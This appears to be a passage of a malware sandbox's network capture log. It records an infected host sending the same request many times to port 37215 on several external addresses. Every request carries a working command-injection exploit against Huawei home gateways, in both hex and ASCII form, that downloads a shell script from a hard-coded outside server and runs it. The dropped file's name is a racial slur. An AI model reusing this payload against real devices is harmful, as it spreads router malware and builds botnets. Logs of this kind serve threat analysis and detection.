Feb 19, 2024 18:37:11.014060020 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:15.269759893 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:21.412992001 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:33.443303108 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.23	58846	222.186.61.233	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:13.516180038 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:15.397728920 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:17.829451084 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:22.436856031 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:31.395709991 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.23	54978	31.136.143.47	37215

Timestamp	Bytes transferred	Direction	Data
